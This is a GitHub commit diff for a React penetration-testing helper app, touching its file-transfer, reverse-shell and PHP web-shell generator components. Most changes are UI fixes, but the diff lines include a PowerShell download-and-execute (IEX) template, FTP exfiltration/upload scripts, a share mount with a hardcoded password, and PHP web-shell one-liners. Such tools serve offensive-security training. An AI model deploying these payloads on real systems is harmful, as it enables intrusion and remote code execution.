Skip to content

Commit 48a85c9

Browse files
committed
fix select options
1 parent 7f8a293 commit 48a85c9

File tree

4 files changed

+31
-24
lines changed

4 files changed

+31
-24
lines changed

Diff for: src/components/LayoutApp.tsx

+1-2
Original file line numberDiff line numberDiff line change
@@ -184,9 +184,8 @@ export default function LayoutApp ( props: {
184184
const target = window.location.href;
185185

186186
const handleHatClick = () => {
187-
// navigate( Notepad );
188187
const notepad_route_ctx = {
189-
key: '1', // to prevent error in useEffect
188+
key: '1',
190189
name: 'Hat Clicked',
191190
componentRoute: Notepad
192191
}

Diff for: src/components/file_transfer/File_transfer.tsx

+5-5
Original file line numberDiff line numberDiff line change
@@ -31,19 +31,19 @@ export default function FileTransfer () {
3131
const fileLessIEXPipe = `(New-Object Net.WebClient).DownloadString('${ values.target_file_name }') | IEX`
3232
const iwr = `iwr -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
3333
const InvokeWebRequest = `Invoke-WebRequest -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
34-
const copyFromSmb = `copy \\\\${ values.ip }\\filename.exe`
34+
const copyFromSmb = `copy \\\\${ values.ip }\\${ values.output_file_name }`
3535
const mountShareWithPasswords = `net use z: \\\\${ values.ip }\\share /user:johnDoe Sup3rP@ssw0rd!`
36-
const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/file.exe','${ values.output_file_name }')`
36+
const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/${ values.output_file_name }','${ values.output_file_name }')`
3737
const scriptFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
3838
echo USER anonymous >> ftp.txt
39-
echo GET file.exe >> ftp.txt
39+
echo GET ${ values.output_file_name } >> ftp.txt
4040
echo BYE >> ftp.txt
4141
ftp -v -s:ftp.txt`
42-
const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/file.exe','C:\\Users\\Public\\file.exe')`
42+
const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/${ values.output_file_name }','C:\\Users\\Public\\${ values.output_file_name }')`
4343
const scriptUploadFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
4444
echo USER anonymous >> ftp.txt
4545
echo binary >> ftp.txt
46-
echo PUT file.exe >> ftp.txt
46+
echo PUT ${ values.output_file_name } >> ftp.txt
4747
echo BYE >> ftp.txt
4848
ftp -v -s:ftp.txt`
4949

Diff for: src/components/linux/ReverseShell.tsx

+19-11
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@ import { ColumnType, FilterConfirmProps, FilterValue, SorterResult } from 'antd/
88
import Highlighter from 'react-highlight-words';
99

1010
const { Title, Paragraph, Text } = Typography;
11-
const { Option } = Select;
1211
const IconFont = createFromIconfontCN( {
1312
scriptUrl: [ './iconfont.js' ]
1413
} );
@@ -212,7 +211,6 @@ export default function ReverseShell () {
212211
key: 'action',
213212
render: ( _, { command } ) => (
214213
<>
215-
216214
<Dropdown.Button
217215
menu={{
218216
items, onClick: ( e ) => {
@@ -299,19 +297,29 @@ export default function ReverseShell () {
299297
<Col span={8}>
300298
<Form.Item name='shell' valuePropName={String( values.shell )} label='Shell'>
301299
<Select
302-
showSearch
303300
onChange={handleChangeSelect( 'shell' )}
304301
placeholder='/bin/sh'
305302
value={String( values.shell )}
306303
allowClear
307-
>
308-
<Option value={'sh'}>sh</Option>
309-
<Option value={'/bin/sh'}>/bin/sh</Option>
310-
<Option value={'bash'}>bash</Option>
311-
<Option value={'/bin/bash'}>/bin/bash</Option>
312-
<Option value={'cmd'}>cmd</Option>
313-
<Option value={'powershell'}>powershell</Option>
314-
<Option value={'pwsh'}>pwsh</Option>
304+
options={[
305+
{
306+
label: 'Linux / macOS',
307+
options: [
308+
{ label: 'sh', value: 'sh' },
309+
{ label: '/bin/sh', value: '/bin/sh' },
310+
{ label: 'bash', value: 'bash' },
311+
{ label: '/bin/bash', value: '/bin/bash' },
312+
],
313+
},
314+
{
315+
label: 'Windows',
316+
options: [
317+
{ label: 'cmd', value: 'cmd' },
318+
{ label: 'powershell', value: 'powershell' },
319+
{ label: 'pwsh', value: 'pwsh' },
320+
],
321+
},
322+
]}>
315323
</Select>
316324
</Form.Item>
317325
</Col>

Diff for: src/components/web/PhpReverseShell.tsx

+6-6
Original file line numberDiff line numberDiff line change
@@ -257,7 +257,7 @@ export default function PhpReverseShell () {
257257
type: 'text/plain'
258258
} );
259259
element.href = URL.createObjectURL( file );
260-
element.download = 'reverseShell.php';
260+
element.download = 'rev.php';
261261
document.body.appendChild( element );
262262
element.click();
263263
}}
@@ -369,7 +369,7 @@ export default function PhpReverseShell () {
369369
<DownloadOutlined /> Download
370370
</Button>
371371
<Clipboard component='a' data-clipboard-text={'<?=`$_GET[0]`?>'}>
372-
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
372+
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
373373
<CopyOutlined /> Copy
374374
</Button>
375375
</Clipboard>
@@ -399,7 +399,7 @@ export default function PhpReverseShell () {
399399
<DownloadOutlined /> Download
400400
</Button>
401401
<Clipboard component='a' data-clipboard-text={'<?=`$_POST[0]`?>'}>
402-
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
402+
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
403403
<CopyOutlined /> Copy
404404
</Button>
405405
</Clipboard>
@@ -431,7 +431,7 @@ export default function PhpReverseShell () {
431431
<DownloadOutlined /> Download
432432
</Button>
433433
<Clipboard component='a' data-clipboard-text={"<?=`{$_REQUEST['_']}`?>"}>
434-
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
434+
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
435435
<CopyOutlined /> Copy
436436
</Button>
437437
</Clipboard>
@@ -462,7 +462,7 @@ export default function PhpReverseShell () {
462462
<DownloadOutlined /> Download
463463
</Button>
464464
<Clipboard component='a' data-clipboard-text={shell_obfuscate}>
465-
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
465+
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
466466
<CopyOutlined /> Copy
467467
</Button>
468468
</Clipboard>
@@ -494,7 +494,7 @@ export default function PhpReverseShell () {
494494
<DownloadOutlined /> Download
495495
</Button>
496496
<Clipboard component='a' data-clipboard-text={shell_obfuscate_function}>
497-
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
497+
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
498498
<CopyOutlined /> Copy
499499
</Button>
500500
</Clipboard>

0 commit comments

Comments
 (0)